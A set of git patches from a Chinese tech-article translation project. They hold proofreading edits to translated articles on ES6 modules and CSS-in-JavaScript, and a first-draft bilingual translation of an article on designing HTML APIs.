-这儿有几个问题。首先，JavaScript 在 ES6 模块中运行与平常在 script 元素中不同。Axel Rauschmayer 在[他的探索 ES6 一书](http://exploringjs.com/es6/ch_modules.html#sec_modules-vs-scripts)中很好地讨论了这个问题。我推荐你点击上面的链接阅读这本书，但是在此我先快速地总结一下主要的不同点：
+这儿有几个问题。首先，JavaScript 在 ES6 模块中运行与平常在 script 元素中不同。Axel Rauschmayer 在他的[探索 ES6](http://exploringjs.com/es6/ch_modules.html#sec_modules-vs-scripts)一书中很好地讨论了这个问题。我推荐你点击上面的链接阅读这本书，但是在此我先快速地总结一下主要的不同点：
 
 - ES6 模块默认在严格模式下运行（因此你不需要加上 `use strict` 了）。
 - 最外层的 `this` 指向 `undefined`（而不是 window）。
@@ -262,11 +262,11 @@ $ ll dist/modules
 
 那如果我们像之前在浏览器中对代码进行预加载那样，用 `<link rel="preload" as="script">` 元素告知浏览器要加载额外的 request，是否会加快模块的加载速度呢？在 Webpack 中，我们已经有了类似的工具，比如 Addy Osmani 的 [Webpack 预加载插件](https://github.com/GoogleChrome/preload-webpack-plugin)可以对分割的代码进行预加载，那 ES6 模块有没有类似的方法呢？如果你还不清楚 `rel="preload"` 是如何运作的，你可以先阅读 Yoav Weiss 在 Smashing Magazine 发表的相关文章：[点击阅读](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)
 
-但是，ES6 模块的预加载并不是那么简单，他们与普通的脚本有很大的不同。那么问题来了,对一个 link 元素加上  `rel="preload"` 将会怎样处理 ES6 模块呢？它也会取出所有的依赖文件吗？这个问题显而易见（可以），但是使用 `preload` 命令加载模块，需要解决更多浏览器的内部实现问题。[Domenic Denicola](https://twitter.com/domenic) 在[一个 GitHub issue](https://github.com/whatwg/fetch/issues/486) 中讨论了这方面的问题，如果你感兴趣的话可以点进去看一看。但是事实证明，使用 `rel="preload"` 加载脚本与加载 ES6 模块是截然不同的。可能以后最终的解决方案是用另一个 `rel="modulepreload"` 命令来专门加载模块。在本文写作时，[这个 pull request](https://github.com/whatwg/html/pull/2383) 还在审核中，你可以点进去看看未来我们可能会怎样进行模块的预加载。
+但是，ES6 模块的预加载并不是那么简单，他们与普通的脚本有很大的不同。那么问题来了，对一个 link 元素加上  `rel="preload"` 将会怎样处理 ES6 模块呢？它也会取出所有的依赖文件吗？这个问题显而易见（可以），但是使用 `preload` 命令加载模块，需要解决更多浏览器的内部实现问题。[Domenic Denicola](https://twitter.com/domenic) 在[一个 GitHub issue](https://github.com/whatwg/fetch/issues/486) 中讨论了这方面的问题，如果你感兴趣的话可以点进去看一看。但是事实证明，使用 `rel="preload"` 加载脚本与加载 ES6 模块是截然不同的。可能以后最终的解决方案是用另一个 `rel="modulepreload"` 命令来专门加载模块。在本文写作时，[这个 pull request](https://github.com/whatwg/html/pull/2383) 还在审核中，你可以点进去看看未来我们可能会怎样进行模块的预加载。
 
-## 加入真实情况中的依赖 ##
+## 加入真实的依赖 ##
 
-仅仅 3 个文件当然没法做一个真正的 app，所以让我们给它加一些真实情况中的依赖。[Lodash](https://lodash.com/) 根据 ES6 模块对它的功能进行了分割，并分别提供给用户。我取出其中一个功能，然后使用 Babili 进行压缩。现在让我们对 `index.js` 文件进行修改，引入这个 Lodash 的方法。
+仅仅 3 个文件当然没法做一个真正的 app，所以让我们给它加一些真实的依赖。[Lodash](https://lodash.com/) 根据 ES6 模块对它的功能进行了分割，并分别提供给用户。我取出其中一个功能，然后使用 Babili 进行压缩。现在让我们对 `index.js` 文件进行修改，引入这个 Lodash 的方法。
 
 
 ```
@@ -317,7 +317,7 @@ export const unneededStuff = [
 ];
 ```
 
-Babili 将会简单地压缩文件，比如 Safari Preview 还是会接收到这几行没有用过的代码。而另一方面，Webpack 打的包或者 Rollup 打的包将不会包含这个 `unnededStuff`。Tree shaking 省略了大量代码，毫无疑问，它能够在真实的产品代码库中很好地发挥作用。
+Babili 只会压缩文件， Safari Preview 在这种情况下会接收到这几行没有用过的代码。而另一方面，Webpack 或者 Rollup 打的包将不会包含这个 `unnededStuff`。Tree shaking 省略了大量代码，它毫无疑问应当被用在真实的产品代码库中。
 
 ## 尽管未来很明朗，但是现在的构建过程仍然不会变动 ##
 

From b175aaba43bd0f851416d7caec0083562a537649 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sun, 30 Apr 2017 17:45:37 +0800
Subject: [PATCH 303/638] proofreading & add proofreaders

---
 ...javascript-the-future-of-component-based-styling.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/css-in-javascript-the-future-of-component-based-styling.md b/TODO/css-in-javascript-the-future-of-component-based-styling.md
index 70e65e61825..59ce3162744 100644
--- a/TODO/css-in-javascript-the-future-of-component-based-styling.md
+++ b/TODO/css-in-javascript-the-future-of-component-based-styling.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[bambooom](https://github.com/bambooom)
-> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)
+> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)、[reid3290](https://github.com/reid3290)
 
 # JavaScript 中的 CSS：基于组件的样式的未来
 
@@ -12,7 +12,7 @@
 
 使用行内样式使我们可以获得 JavaScript 的所有编程支持。这让我们获得类似 CSS 预处理器（变量、混入和函数）的好处，它也解决了 CSS 的很多问题，如全局命名空间和样式冲突。
 
-如果想要更深入了解 JavaScript 中的 CSS 所解决的问题，可以查看著名的演示幻灯：[React：JS 中的 CSS](https://speakerdeck.com/vjeux/react-css-in-js)。有关使用 Aphrodite 性能优化的案例研究，你可以阅读 [行内 CSS 在可汗学院：Aphrodite](http://engineering.khanacademy.org/posts/aphrodite-inline-css.htm)。如果你想了解更多，可以阅读 [Airbnb 的风格指南](https://github.com/airbnb/javascript/tree/master/css-in-javascript)。
+如果想要更深入了解 JavaScript 中的 CSS 所解决的问题，可以查看著名的演示幻灯：[React：JS 中的 CSS](https://speakerdeck.com/vjeux/react-css-in-js)。有关使用 Aphrodite 性能优化的案例研究，你可以阅读 [行内 CSS 在可汗学院：Aphrodite](http://engineering.khanacademy.org/posts/aphrodite-inline-css.htm)。如果想要学习更多有关 JavaScript 中的 CSS 的最佳实践，可以阅读 [Airbnb 的风格指南](https://github.com/airbnb/javascript/tree/master/css-in-javascript)。
 
 此外，我们将使用行内 JavaScript 样式来构建组件，以解决我之前的一篇文章（[掌握设计之前，必须掌握基本原理](https://medium.freecodecamp.com/before-you-can-master-design-you-must-first-master-the-fundamentals-1981a2af1fda)）中涉及的一些基础设计问题。
 
@@ -287,7 +287,7 @@ const styles = StyleSheet.create({
 
 多数情况下这都是有效的。但是如果我们想要根据按钮的位置来修改它的 `marginBottom` 属性呢？
 
-实现可变边距的一种方法是覆盖从父组件继承的样式。另一种方法是**创建一个 **`Spacing` **组件来控制元素的垂直边距**。
+实现可变边距的一种方法是覆盖从父组件继承的样式。另一种方法是**创建一个 `Spacing` 组件来控制元素的垂直边距**。
 
 ```javascript
 import React, { PropTypes } from 'react';
@@ -344,11 +344,11 @@ export const styles = StyleSheet.create({
 
 对 margin 和 padding 使用相同的间距常量，可以在设计中实现更好的视觉一致性。
 
-结果可能大致如下：
+结果大致如下：
 
 ![](https://cdn-images-1.medium.com/max/800/1*oDkbVmgCJ4ss5fuRNvzoUg.png)
 
-现在你已经大致了解了 JavaScript 中的 CSS 了，去试验一下吧。尝试在下个项目中采用行内 JavaScript 样式吧。我想**你会喜欢上能够在同一个上下文中处理所有样式及视图问题的感觉**。
+现在你已经大致了解 JavaScript 中的 CSS 了，去试验一下吧。尝试在下个项目中采用行内 JavaScript 样式吧。我想**你会喜欢上能够在同一个上下文中处理所有样式及视图问题的感觉**。
 
 有关 CSS 和 JavaScript 的主题中，你对什么新的发展感兴趣呢？我个人对 async/await 非常感兴趣。给我留言或者在  [Twitter](https://twitter.com/jonathanzwhite) 上发信息给我吧。
 

From 9cf7db05e5224b78d44674f1479d822c50911adb Mon Sep 17 00:00:00 2001
From: Romeo <romeo0906@foxmail.com>
Date: Sun, 30 Apr 2017 23:06:04 +0800
Subject: [PATCH 304/638] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E5=88=9D=E7=A8=BF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/designing-html-apis.md | 102 +++++++++++++++++++++++++++++++++++-
 1 file changed, 101 insertions(+), 1 deletion(-)

diff --git a/TODO/designing-html-apis.md b/TODO/designing-html-apis.md
index b185c4b7c6b..72eda8f5f61 100644
--- a/TODO/designing-html-apis.md
+++ b/TODO/designing-html-apis.md
@@ -1,23 +1,35 @@
 > * 原文地址：[HTML APIs: What They Are And How To Design A Good One](https://www.smashingmagazine.com/2017/02/designing-html-apis/)
 * 原文作者：[Lea Verou](https://www.smashingmagazine.com/author/lea-verou/)
 * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-* 译者：
+* 译者：[王子建](https://github.com/Romeo0906)
 * 校对者：
 
 # HTML APIs: What They Are And How To Design A Good One #
 
+#何为 HTML API，如何设计之？#
+
 As JavaScript developers, we often forget that not everyone has the same knowledge as us. It’s called the [curse of knowledge](https://en.wikipedia.org/wiki/Curse_of_knowledge): When we’re an expert on something, we cannot remember how confused we felt as newbies. We overestimate what people will find easy. Therefore, we think that requiring a bunch of JavaScript to initialize or configure the libraries we write is OK. Meanwhile, some of our users struggle to use them, frantically copying and pasting examples from the documentation, tweaking them at random until they work.
 
+作为 JavaScript 开发者，我们经常忘记并不是所有人都拥有像我们一样的学识。这被称为[知识的诅咒](https://en.wikipedia.org/wiki/Curse_of_knowledge)：当我们精通某个内容的时候，我们就不记得自己作为新人的时候有多么困惑。我们总是对人们的能力估计过高。因此，我们认为自己写的那些需要一些 JavaScript 代码去初始化或者配置的类库是完全没问题的。然而，一些用户却在使用中费劲力气，他们疯狂地从文档中复制粘贴例子并随机组合这些代码，直到它们生效。
+
 You might be wondering, “But all HTML and CSS authors know JavaScript, right?” Wrong. Take a look at the results of [my poll](https://twitter.com/LeaVerou/status/690583334414635009), which is the only data on this I’m aware of. (If you know of any proper studies on this, please mention them in the comments!)
 
+你或许会想，“但是所有写 HTML 和 CSS 的人都懂 JavaScript，对吧？”你错了。来看看我的[测验结果](https://twitter.com/LeaVerou/status/690583334414635009)吧，这是我所知道的唯一数据了。（如果你知道任何适用于这个主题的研究，请在评论中说明！）
+
 ![](https://www.smashingmagazine.com/wp-content/uploads/2017/02/lea-verou-poll-tweet-opt.png) 
 
 Poll: “How comfortable are you with JavaScript?” ([22 January 2016](https://twitter.com/LeaVerou/status/690583334414635009)
 
+测试：“你对 JavaScript 好感如何？”（[2016 年 1 月 22 日](https://twitter.com/LeaVerou/status/690583334414635009)）
+
 One in two people who write HTML and CSS is **not comfortable with JavaScript**. One in two. Let that sink in for a moment.
 
+每两个写 HTML 和 CSS 的人中就有一个**对 JavaScript 并无好感**。每两个中就有一个，让我们感受一下。
+
 As an example, look at the following code to initialize a jQuery UI autocomplete, taken from [its documentation](https://jqueryui.com/autocomplete/):
 
+举个例子，看一下以下用来初始化一个 jQuery UI 自动完成库的代码，摘自[文档](https://jqueryui.com/autocomplete/)。
+
 ```
 <div class="ui-widget">
     <label for="tags">Tags: </label>
@@ -39,8 +51,12 @@ $( function() {
 
 This is easy, even for people who don’t know any JavaScript, right? Wrong. A non-programmer would have all sorts of questions going through their head after seeing this example in the documentation. “Where do I put this code?” “What are these braces, colons and brackets?” “Do I need them?” “What do I do if my element does not have an ID?” And so on. Even this tiny snippet of code requires people to understand object literals, arrays, variables, strings, how to get a reference to a DOM element, events, when the DOM is ready and much more. Things that seem trivial to programmers can be an uphill battle to HTML authors with no JavaScript knowledge.
 
+这很简单，即使对根本不了解 JavaScript 的人来说也是这样，对吧？错。一个非程序员在文档中看到这个例子的时候，脑子里会闪过各种各样的问题。“我该把这段代码放哪儿呢？”“这些花括号、冒号和方括号是些什么鬼？”“我用得着这些吗？”“如果我的元素没有 ID 我该怎么办呢？”等等。即使这个微乎其微的代码段也要求人们了解对象字面量、数组、变量、字符串、如何获取 DOM 元素的引用、事件、 DOM 数何时构建完毕等等更多知识。对于程序员来说微不足道的事情，对没有 JavaScript 知识的 HTML 作者来说都是一场攻坚战。
+
 Now consider the equivalent declarative code [from HTML5](https://www.w3.org/TR/html5/forms.html#the-datalist-element):
 
+现在来考虑一下 [HTML5](https://www.w3.org/TR/html5/forms.html#the-datalist-element) 中的等效声明性代码：
+
 ```
 <div class="ui-widget">
     <label for="tags">Tags: </label>
@@ -57,84 +73,168 @@ Now consider the equivalent declarative code [from HTML5](https://www.w3.org/TR/
 
 Not only is this much clearer to anyone who can write HTML, it is even easier for programmers. We see that everything is set in one place, no need to care about when to initialize, how to get a reference to the element and how to set stuff on it. No need to know which function to call to initialize or which arguments it accepts. And for more advanced use cases, there is also a JavaScript API in place that allows all of these attributes and elements to be created dynamically. It follows one of the most basic API design principles: It makes the simple easy and the complex possible.
 
+这不光对于那些能够写 HTML 的人来说简单了不少，甚至对程序员来说更为简单。我们看到所有的东西都被写在一个地方，不必关心什么时候初始化，如何获取元素的引用和如何设置，无需知道哪个函数是用来初始化或者它需要什么参数。在更高级的使用中，还会在允许动态创建属性和元素的地方添加一个 JavaScript API。这遵循了一条最基本的 API 设计原则：它是的简单的事物变得容易，让复杂的事物变得可能。
+
 This brings us to **an important lesson about HTML APIs**: They would benefit not only people with limited JavaScript skill. For common tasks, even we, programmers, are often eager to sacrifice the flexibility of programming for the convenience of declarative markup. However, we somehow forget this when writing a library of our own.
 
+这给我们上了一堂**关于 HTML API 的重要课程**：这不光使那些拥有有限的 JavaScript 技能的人受益。对于普通的任务，甚至我们，程序员，也会渴望牺牲程序的灵活性来换取更高的表述性。然而不知怎的，我们在写自己用的类库的时候却总是忘记这些。
+
 So, what is an HTML API? [According to Wikipedia](https://en.wikipedia.org/wiki/Application_programming_interface), an API (or application programming interface) is “is a set of subroutine definitions, protocols, and tools for building application software.” In an HTML API, the definitions and protocols are in the HTML itself, and the tools look in HTML for the configuration. HTML APIs usually consist of certain class and attribute patterns that can be used on existing HTML. With Web Components, even [custom element names](https://www.w3.org/TR/custom-elements/)are game, and with the [Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees), those can even have an entire internal structure that is hidden from the rest of the page’s JavaScript or CSS. But this is not an article about Web Components; Web Components give more power and options to HTML API designers; but the principles of good (HTML) API design are the same.
 
+那么什么是 HTML API 呢？根据[维基百科](https://en.wikipedia.org/wiki/Application_programming_interface)的定义,API（也就是应用程序接口）是“子程序定义、协议和构建应用软件的工具的合集”。在 HTML API 中，定义和协议都在 HTML 中实现，工具也在 HTML 中配置。HTML API 通常由特定的类和可用于先有的 HTML 的属性模式组成。通过 Web 组件（甚至[自定义元素名称](https://www.w3.org/TR/custom-elements/)都是游戏）和[Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees)，HTML API 甚至能拥有完整的内部结构，隐藏在页面其余的 JavaScript 或者 CSS 中。但是这并不是一篇关于 Web 组件的文章，Web 组件给予了 HTML API 设计者更多的能力和选择，但是良好的（HTML）API 设计原则都是相同的。
+
 HTML APIs improve collaboration between designers and developers, lift some work from the shoulders of the latter, and enable designers to create much higher-fidelity mockups. Including an HTML API in your library does not just make the community more inclusive, it also ultimately comes back to benefit you, the programmer.
 
+HTML API 加强了设计师和工程师之间的合作，减轻工程师肩上的工作负担，还能让设计师创造更具有忠诚度的原型。在类库中引入 HTML API 不仅让社区更具包容性，最终还能反过来让程序员受益。
+
 **Not every library needs an HTML API.** HTML APIs are mostly useful in libraries that enable UI elements such as galleries, drag-and-drop, accordions, tabs, carousels, etc. As a rule of thumb, if a non-programmer cannot understand what your library does, then your library doesn’t need an HTML API. For example, libraries that simplify or help to organize code do not need an HTML API. What kind of HTML API would an MVC framework or a DOM helper library even have?
 
+**并不是每个类库都需要  HTML API。**HTML API 在使用了 UI 元素的类库中非常有用，比如 galleries、drag-and-drop、accordions、tabs、carousels 等等。第一要务便是，如果一个非程序员不能理解你的类库是干什么的，那么它就不需要 HTML API。比如，那些简化代码或者帮助管理代码的类库就不需要 HTML API。那么 MVC 框架或者 DOM 助手类库应该用什么样的 HTML API 呢？
+
 So far, we have discussed what an HTML API is, why it is useful and when it is needed. The rest of this article is about how to design a good one.
 
+目前为止，我们只讨论了 HTML API 的定义、功能和用处，文章剩下的部分是关于如何设计一个好的 HTML API。
+
 ### Init Selector ###
 
+### 初始化选择器 ###
+
 With a JavaScript API, initialization is strictly controlled by the library’s user: Because they have to manually call a function or create an object, they control precisely when it runs and on what. With an HTML API, we have to make that choice for them, and make sure not to get in the way of the power users who will still use JavaScript and want full control.
 
+在 JavaScript API 中，初始化是被类库的用户严格控制的：因为他们必须手动调用函数或者创建对象，他们精确地控制着运行的时间和基础。在 HTML API 中，我们必须帮用户做选择并且还要确保不会妨碍那些强势的仍然使用 JacaScript 并且想要得到完全控制权的用户。
+
 The common way to resolve the tension between these two use cases is to only auto-initialize elements that match a given selector, usually a specific class. [Awesomplete](http://leaverou.github.io/awesomplete) follows this approach, only picking up input elements with `class="awesomplete"`.
 
+最常见的解决两种使用场景的办法就是只有匹配到一个给定的选择器，通常是一个特定的类，的时候才会自动初始化。[Awesomplete](http://leaverou.github.io/awesomplete) 就是采用的这种方法，只选取输入的具有 `class="awesomplete"` 的元素。
+
 In some cases, making auto-initialization easy is more important than making opt-in explicit. This is common when your library needs to run on a lot of elements, and when avoiding having to manually add a class to every single one is more important than making opt-in explicit. For example, [Prism](http://prismjs.com/) automatically highlights any `<code>` element that contains a `language-xxx` class (which is what the HTML5 specification [recommends for specifying the language of a code snippet](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)) or that is inside an element that does. This is because it could be included in a blog with a ton of code snippets, and having to go back and add a class to every single one of them would be a huge hassle.
 
+有些时候，把自动初始化变得简单比做详尽的选项说明更重要。这是一个很常见的现象，当你的类库需要在非常多的元素上运行的时候，避免手动给每个单独元素添加类比详细的选项说明更加重要。比如，[Prism](http://prismjs.com/) 自动高亮任何包含 `language-xxx` 类的 `<code>` 元素（HTML5 的说明中[建议指定代码段的语言](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)）以及其内部的元素。这是因为 Prism 可能会用在一个有着成千上万的代码段的博客系统中，回过头去给每一个元素添加类会是一项非常巨大的工程。
+
 In cases where the `init` selector is used very liberally, a good practice is to allow customization of it or allow opting-out of auto-initialization altogether. For example, [Stretchy](https://leaverou.github.io/stretchy)[13](#13) autosizes *every*`<input>`, `<select>` and `<textarea>` by default, but allows customization of its `init` selector to something more specific via a `data-stretchy-filter` attribute. Prism supports a `data-manual` attribute on its `<script>` element to completely disable automatic initialization. A good practice is to allow this option to be set via either HTML or JavaScript, to accommodate both types of library users.
 
+在非常自由地使用 `init` 选择器的情况下，允许自定义或者完全不自动化会是一个良好的实践。比如，[Stretchy](https://leaverou.github.io/stretchy)<sup>[\[1\]](#note1)</sup> 默认地设置**每个** `<input>`、`<select>` 和 `<textarea>` 的大小，但是也允许通过 `data-stretchy-filter` 属性自定义设置其他特定的元素为 `init` 选择器。Prism 支持 `<script>` 元素的 `data-manual` 属性来完全取消自动初始化。良好的实践应该使得 HTML 和 JacaScript 都能设置这个选项，来适应 HTML 和 JavaScript 两种类库的用户。
+
 ### Minimize Init Markup  ###
 
+###最小化初始标记###
+
 So, for every element the `init` selector matches, your library needs a wrapper around it, three buttons inside it and two adjacent divs? No problem, but generate them yourself. This kind of grunt work is better suited to machines, not humans. **Do not expect that everyone using your library is also using some sort of templating system**: Many people are still hand-crafting markup and find build systems too complicated. Make their lives easier.
 
+那么，对于每个符合 `init` 选择器的元素来说，你的类库需要它的外层元素，三个内部的 button 和两个相邻的 div 该怎么办呢？没问题，但是你需要自己生成。这种墨迹的工作更适合机器，而不是人。**不要期望每个使用类库的人都在同时使用一些模板系统**：许多人还在使用手动标记并且发现在某些类库中建造系统太过于复杂。因此，让他们活的轻松点不好吗？
+
 This also minimizes error conditions: What if a user includes the class that you expect for initialization but not all of the markup you need? When there is no extra markup to add, no such errors are possible.
 
+这也最小化了错误风险：如果一个用户仅仅引入了用来初始化的类却没有引入所有需要的标记呢？如果不需要添加额外的标记，就不会有这样的错误。
+
 There is one exception to this rule: graceful degradation and progressive enhancement. For example, embedding a tweet involves a lot of markup, even though a single element with `data-*` attributes for all the options would suffice. This is done so that the tweet is readable even before the JavaScript loads or runs. A good rule of thumb is to ask yourself, does the extra markup offer a benefit to the end user even without JavaScript? If so, then requiring it is OK. If not, then generate it with your library.
 
+但是这条规则中有这样个例外：优雅地退化并且渐进式增强。比如，要嵌入一个有很多标记的推文，即使单独的具有 `data-*` 属性的一个元素就足够实现所有的内容。在 JavaScript 加载和运行之前就使得推文可读，这样才算实现内容。良好的设计规则里的首条内容就是扪心自问，即使在没有 JavaScript 的时候，多余的标记是否也能让终端用户受益？如果是，那么就引入。如果不是，那就先用你的类库生成。
+
 There is also the classic tension between ease of use and customization: Generating all of the markup for the library’s user is easier for them, but leaving them to write it gives them more flexibility. **Flexibility is great when you need it, but annoying when you don’t**, and you still have to set everything manually. To balance these two needs, you can generate the markup you need if it doesn’t already exist. For example, suppose you wrap all `.foo` elements with a `.foo-container` element? First, check whether the parent — or, better yet, any ancestor, via `element.closest(".foo-container")` — of your `.foo` element already has the `foo-container` class, and if so, use that instead of creating a new element.
 
+还有一个经典的矛盾，便于用户使用还是让用户自定义：自动生成所有的标记会让用户易于使用，让他们自己去定义又显得更加灵活。**在你需要的时候，灵活性便如雪中送炭，在不需要的时候反而会适得其反，**因为你不得不手动设置所有的参数。为了平衡这两种需要，你可以生成那些需要但不存在的标记。比如，假设你需要给所有的 `.foo` 元素外层添加一个 `.foo-container` 元素。首先，通过 `element.closest(".foo-container")` 检查 `.foo` 元素的父元素或者任何的上级元素是否含有 `foo-container` 类，如果有的话，你就不用生成新的元素，直接使用就可以了。
+
 ### Settings ###
 
+###设置###
+
 Typically, settings should be provided via `data-*` attributes on the relevant element. If your library adds a ton of attributes, then you might want to namespace them to prevent collisions with other libraries, like `data-foo-*` (where foo is a one-to-three letter prefix based on your library’s name). If that’s too long, you could use `foo-*`, but bear in mind that this will break HTML validation and might put some of the more diligent HTML authors off your library because of it. Ideally, you should support both, if it won’t bloat your code too much. None of the options here are ideal, so there is an ongoing [discussion](https://github.com/whatwg/html/issues/2271) in the WHATWG about whether to legalize such prefixes for custom attributes.
 
+典型的方法应该是在恰当的元素上使用 `data-*` 属性来进行设置。如果你的类库中添加了成千上万的属性，然后你希望给它们添加明明空间来避免和其他类库混淆，比如这样 `data-foo-*`（foo 是基于类库名字的一到三个字母长度的前缀）。如果那样名字显得太长，你可以使用 `foo-*`，但是要有心理准备，这种方式会打破 HTML 验证并且会影响一些勤勉的 HTML 作者因此而弃用你的类库。理想情况下，只要代码不会太臃肿，以上两种情况都应该支持。目前还没有完美的解决办法，因此在 WHATWG 中展开了一场如火如荼的[讨论](https://github.com/whatwg/html/issues/2271)，论题即是否应该合法化这些自定义属性的前缀。
+
 **Follow the conventions of HTML as much as possible.** For example, if you use an attribute for a boolean setting, its presence means `true` regardless of the value, and its absence means `false`. Do not expect things like `data-foo="true"` or `data-foo="false"` instead. Sure, ARIA does that, but if ARIA jumped off a cliff, would you do it, too?
 
+**尽可能地遵守 HTML 的规定。**比如，你使用了一个属性来做布尔类型的设置，当该属性出现时无论任何的值都被视为 `true`，若不出现则被视为 `false`。不要期望者可以用 `data-foo="true"` 或者 `data-foo="false"` 来代替。当然 ARIA 是这样做的，但是如果 ARIA 突然跳崖了，你也想跳吗？
+
 When the setting is a **boolean**, you could also use classes. Typically, their semantics are similar to boolean attributes: The presence of the class means `true`, and the absence means `false`. If you want the opposite, you can use a `no-` prefix (for example, `no-line-numbers`). Keep in mind that class names are used more than `data-*` attributes, so there is a greater possibility of collision with the user’s existing class names. You could consider prefixing your classes with a prefix like `foo-` to prevent that. Another danger with class names is that a future maintainer might notice that they are not used in the CSS and remove them.
 
+在进行**布尔类型**的设置时，你也可以使用类。典型的，其语义和布尔属性值类似：类出现的时候是 `true` 不出现的时候就是 `false`。如果你想反过来设置，那就用一个 `no-` 前缀（比如，`no-line-number`）。但是要记住，类名可不仅仅只有 `data-*` 属性，因此这种方式很可能会和用户现存的类名冲突。你可以考虑一下在类名中使用 `foo-` 这样的前缀来避免。还存在一个隐患就是，后期的维护中可能会发现它们并未被 CSS 使用而移除它们。
+
 When you have a group of related boolean settings, using one space-separated attribute might be better than using many separate attributes or classes. For example, `<div data-permissions="read add edit delete save logout>"` is better than `<div data-read data-add data-edit data-delete data-save data-logout">`, and `<div class="read add edit delete save logout">` would likely cause a ton of collisions. You can then target individual ones via the `~=` attribute selector. For example, `element.matches("[data-permissions~=read]")` checks whether an element has the `read` permission.
 
+当你有一组相关的布尔类型设置时，使用空格区分多个属性会比使用很多分隔符来区分多个属性和类的方式好得多。比如，`<div data-permissions="read add edit delete save logout">` 就比 `<div data-read data-add data-edit data-delete data-save data-logout">`, and `<div class="read add edit delete save logout">` 好得多，因为后者可能会造成很多的冲突。使用空格区分多个属性，你还可以使用 `~=` 属性选择器来定位单个元素。比如，`element.matches("[data-permissions~=read]")` 可以检查该元素是否有 `read` 权限。
+
 If the type of a setting is an **array or object**, then you can use a `data-*` attribute that links to another element. For example, look at how HTML5 does autocomplete: Because autocomplete requires a list of suggestions, you use an attribute to link to a `<datalist>` element containing these suggestions via its ID.
 
+如果设置的类型是一个**数组或者对象**，那么你就可以使用 `data-*` 属性来联系到另一个元素。比如，来看看 HTML5 如何自动完成的：因为自动完成需要一个建议列表，你使用一个属性并且通过 `<datalist>` 的 ID 联系到这些内容。
+
 This is a point when following HTML conventions becomes painful: In HTML, linking to another element in an attribute is always done by referencing its ID (think of `<label for="…">`). However, this is rather limiting: It’s so much more convenient to allow selectors or even nesting if it makes sense. What you go with will largely depend on your use case. Just keep in mind that, while consistency is important, usability is our goal here.
 
+在遵从 HTML 规定的时候有一点很痛苦：在 HTML 中，用属性联系到另一个元素通常是靠引用其 ID（试想一下 `<label for="...">`）。然而，这相当受限：如果能够允许选择器或者甚至允许嵌套，这将更为方便。其效果将会极大地依赖于你所选用的内容。只要记住，尽管稳定性很重要，但是我们的目标是好用。
+
 **It’s OK if not every single setting is available via HTML.** Settings whose values are functions can stay in JavaScript and be considered “advanced customization.” Consider [Awesomplete](http://leaverou.github.io/awesomplete/#customization): All numerical, boolean, string and object settings are available as `data-*` attributes (`list`, `minChars`, `maxItems`, `autoFirst`). All function settings are only available in JavaScript (`filter`, `sort`, `item`, `replace`, `data`). If someone is able to write a JavaScript function to configure your library, then they can use the JavaScript API.
 
+**即使有部分设置不能通过 HTML 生效也没关系。**在 JavaScript 中设置的函数被认为是“高级自定义”的内容。试想一下 [Awesomplete](http://leaverou.github.io/awesomplete/#customization)：所有数字、布尔值、字符串和对象都可以通过 `data-*` 属性（`list`、`minChars`、`maxItems`、`autoFirst`）设置。所有的函数设置只能通过 JacaScript 生效（`filter`、`sort`、`item`、`replace`、`data`）。如果有人想写一个 JacaScript 函数来配置类库，然后他们就可以使用 JavaScript API 了。
+
 Regular expressions (regex) are a bit of a gray area: Typically, only programmers know regular expressions (and even programmers have trouble with them!); so, at first glance there doesn’t seem to be any point in including settings with regex values in your HTML API. However, HTML5 did include such a setting (`<input pattern="regex">`), and I believe it was quite successful, because non-programmers can look up their use case in a [regex directory](http://www.html5pattern.com/)[16](#16) and copy and paste.
 
+正则表达式（regex）处在灰色地带：典型的，只有程序员才知道正则表达式（甚至程序员也会有问题！）；那么，乍看之下，在 HTML API 中引入正则表达式的设置内容并没有什么意义。然而，HTML5 确实引入了这样的设置（`<input pattern="regex">`），并且我相信那会很成功，因为非程序员能在[正则词典](http://www.html5pattern.com/)<sup>[\[2\]](#note2)</sup>中找到他们的用例并复制粘贴。
+
 ### Inheritance ###
 
+###继承###
+
 If your UI library is going to be used once or twice on each page, then inheritance won’t matter much. However, if it could be applied to multiple elements, then configuring the same settings on each one of them via classes or attributes would be painful. Remember that **not everyone uses a build system**, especially non-developers. In these cases, it might be useful to define that settings can be inherited from ancestor elements, so that multiple instances can be mass-configured.
 
+如果你的 UI 库只会在每一页调用一次或者两次，那么继承将不会有很大影响。然而，如果要应用于多个元素，那么通过类或者属性给每个元素做相同的配置将会非常痛苦。只需要记住**并不是每个人都用了构造系统**，尤其是非程序员。在这些情况下，定义能够从祖先元素继承设置将会变得非常有用，那样多个实例就可以被批量设置了。
+
 Take [Prism](http://prismjs.com/), a popular syntax-highlighting library, used here on Smashing Magazine as well. The highlighting language is configured via a class of the form `language-xxx`. Yes, this goes against the guidelines we discussed in the previous section, but this was a conscious decision because the [HTML5 specification recommends this](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element) for specifying the language of a code snippet. On a page with multiple code snippets (think of how often a blog post about code uses inline `<code>` elements!), specifying the coding language on each `<code>` element would become extremely tedious. To mitigate this pain, Prism supports inheritance of these classes: If a `<code>` element does not have a `language-xxx` class of its own, then the one of its closest ancestor that does is used. This enables users to set the coding language globally (by putting the class on the `<body>` or `<html>` elements) or by section, and override it only on elements or sections with a different language.
 
